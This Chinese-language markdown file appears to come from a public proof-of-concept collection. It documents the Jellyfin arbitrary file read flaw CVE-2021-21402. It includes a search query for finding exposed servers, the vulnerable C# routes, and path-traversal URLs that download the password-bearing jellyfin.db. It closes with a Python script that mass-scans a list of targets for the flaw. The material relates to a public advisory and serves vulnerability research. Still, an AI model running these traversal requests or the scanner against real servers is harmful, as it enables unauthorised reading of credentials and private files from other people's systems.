Awesome-POC/Web应用漏洞/Jellyfin 任意文件读取漏洞 CVE-2021-21402.md
2024-11-06 14:10:36 +08:00

150 lines
6.6 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Jellyfin 任意文件读取漏洞 CVE-2021-21402
## 漏洞描述
Jellyfin是一个免费软件媒体系统。在10.7.1版之前的Jellyfin中带有某些终结点的精心设计的请求将允许从Jellyfin服务器的文件系统中读取任意文件。当Windows用作主机OS时此问题更为普遍。暴露于公共Internet的服务器可能会受到威胁。在版本10.7.1中已修复此问题。解决方法是,用户可以通过在文件系统上实施严格的安全权限来限制某些访问,但是建议尽快进行更新。
## 漏洞影响
```
Jellyfin < 10.7.1
```
## 网络测绘
```
title='Jellyfin' || body='http://jellyfin.media'
```
## 漏洞复现
无论是`/Audio/{Id}/hls/{segmentId}/stream.mp3``/Audio/{Id}/hls/{segmentId}/stream.aac`路线允许任意文件在Windows上读取。可以`{segmentId}`使用Windows路径分隔符`\`(对`%5C`URL进行编码将路由的一部分设置为相对或绝对路径。最初攻击者似乎只能读取以`.mp3``.aac`结尾的文件。但是通过在URL路径中使用斜杠
Path.GetExtension(Request.Path)`返回一个空扩展名,从而获得对结果文件路径的完全控制。的`itemId因为它没有使用也没有关系。该问题不仅限于Jellyfin文件因为它允许从文件系统读取任何文件。
```java
// Can't require authentication just yet due to seeing some requests come from Chrome without full query string
// [Authenticated] // [1]
[HttpGet("Audio/{itemId}/hls/{segmentId}/stream.mp3", Name = "GetHlsAudioSegmentLegacyMp3")]
[HttpGet("Audio/{itemId}/hls/{segmentId}/stream.aac", Name = "GetHlsAudioSegmentLegacyAac")]
//...
public ActionResult GetHlsAudioSegmentLegacy([FromRoute, Required] string itemId, [FromRoute, Required] string segmentId)
{
// TODO: Deprecate with new iOS app
var file = segmentId + Path.GetExtension(Request.Path); //[2]
file = Path.Combine(_serverConfigurationManager.GetTranscodePath(), file);
return FileStreamResponseHelpers.GetStaticFileResult(file, MimeTypes.GetMimeType(file)!, false, HttpContext);
}
```
使用如下请求将会读取带有密码的数据库文件
```plain
http://xxx.xxx.xxx.xxx /Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/
```
另一处代码如下
```java
// Can't require authentication just yet due to seeing some requests come from Chrome without full query string
// [Authenticated] //[1]
[HttpGet("Videos/{itemId}/hls/{playlistId}/{segmentId}.{segmentContainer}")]
//...
public ActionResult GetHlsVideoSegmentLegacy(
[FromRoute, Required] string itemId,
[FromRoute, Required] string playlistId,
[FromRoute, Required] string segmentId,
[FromRoute, Required] string segmentContainer)
{
var file = segmentId + Path.GetExtension(Request.Path); //[2]
var transcodeFolderPath = _serverConfigurationManager.GetTranscodePath();
file = Path.Combine(transcodeFolderPath, file); //[3]
var normalizedPlaylistId = playlistId;
var filePaths = _fileSystem.GetFilePaths(transcodeFolderPath);
// Add . to start of segment container for future use.
segmentContainer = segmentContainer.Insert(0, ".");
string? playlistPath = null;
foreach (var path in filePaths)
{
var pathExtension = Path.GetExtension(path);
if ((string.Equals(pathExtension, segmentContainer, StringComparison.OrdinalIgnoreCase)
|| string.Equals(pathExtension, ".m3u8", StringComparison.OrdinalIgnoreCase)) //[4]
&& path.IndexOf(normalizedPlaylistId, StringComparison.OrdinalIgnoreCase) != -1) //[5]
{
playlistPath = path;
break;
}
}
return playlistPath == null
? NotFound("Hls segment not found.")
: GetFileResult(file, playlistPath);
}
```
`/Videos/{Id}/hls/{PlaylistId}/{SegmentId}.{SegmentContainer}`路由允许在Windows上读取未经身份验证的任意文件。可以`{SegmentId}.{SegmentContainer}`使用Windows路径分隔符`\`(对`%5C`URL进行编码将路由的一部分设置为相对或绝对路径。在`SegmentId`从和文件扩展名`Path`被级联。结果`file`用作`Path.Combine`[3]的第二个参数。但是如果第二个参数是绝对路径则第一个参数to将`Path.Combine`被忽略,而得到的路径仅是绝对路径`file`
POC如下下载同样的文件
```plain
http://xxx.xxx.xxx.xxx/Videos/anything/hls/m/..%5Cdata%5Cjellyfin.db
```
如上为证明漏洞存在和可利用性,详情链接参考
https://securitylab.github.com/advisories/GHSL-2021-050-jellyfin/
## 漏洞POC
```python
import requests
import sys
import random
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def title():
print('+------------------------------------------')
print('+ \033[34mVersion: Jellyfin < 10.7.1 \033[0m')
print('+ \033[36m使用格式: python3 poc.py \033[0m')
print('+ \033[36mFile >>> ip.txt \033[0m')
print('+------------------------------------------')
def POC_1(target_url):
vuln_url = target_url + "/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=2)
if response.status_code == 200 and "file" in response.text and "extension" in response.text and "font" in response.text:
print("\033[32m[o] 目标 {} 存在漏洞(读取 windows/win.ini), 链接为:{} \033[0m".format(target_url, vuln_url))
else:
print("\033[31m[x] 目标 {} 不存在漏洞 \033[0m".format(target_url))
except Exception as e:
print("\033[31m[x] 目标 {} 请求失败 \033[0m".format(target_url))
def Scan(file_name):
with open(file_name, "r", encoding='utf8') as scan_url:
for url in scan_url:
if url[:4] != "http":
url = "http://" + url
url = url.strip('\n')
try:
POC_1(url)
except Exception as e:
print("\033[31m[x] 请求报错 \033[0m".format(e))
continue
if __name__ == '__main__':
title()
file_name = str(input("\033[35mPlease input Attack File\nFile >>> \033[0m"))
Scan(file_name)
```